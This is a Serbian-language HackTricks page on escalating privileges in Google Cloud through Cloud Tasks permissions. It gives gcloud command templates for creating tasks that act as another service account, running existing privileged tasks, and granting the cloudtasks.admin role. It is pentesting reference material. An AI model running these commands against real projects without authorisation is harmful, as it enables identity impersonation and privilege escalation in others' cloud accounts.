GCP - Cloud Tasks Privesc
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Cloud Tasks
cloudtasks.tasks.create
, iam.serviceAccounts.actAs
Napadač sa ovim dozvolama može imitirati druge servisne naloge kreiranjem zadataka koji se izvršavaju sa identitetom specificiranog servisnog naloga. Ovo omogućava slanje autentifikovanih HTTP zahteva ka IAM-zaštićenim Cloud Run ili Cloud Functions servisima.
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
cloudtasks.tasks.run
, cloudtasks.tasks.list
Napadač sa ovim dozvolama može izvršavati postojeće zakazane zadatke bez da ima dozvole na servisnom nalogu povezanom sa zadatkom. Ovo omogućava izvršavanje zadataka koji su prethodno kreirani sa servisnim nalozima sa višim privilegijama.
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
Glavni koji izvršava ovu komandu ne treba iam.serviceAccounts.actAs
dozvolu na servisnom nalogu zadatka. Međutim, ovo samo omogućava pokretanje postojećih zadataka - ne daje mogućnost kreiranja ili modifikovanja zadataka.
cloudtasks.queues.setIamPolicy
Napadač sa ovom dozvolom može dodeliti sebi ili drugim glavnim Cloud Tasks uloge na specifičnim redovima, potencijalno se uzdižući na roles/cloudtasks.admin
koja uključuje mogućnost kreiranja i pokretanja zadataka.
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
Ovo omogućava napadaču da dodeli pune administratorske dozvole za Cloud Tasks na redu bilo kojem servisnom nalogu koji kontroliše.
References
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.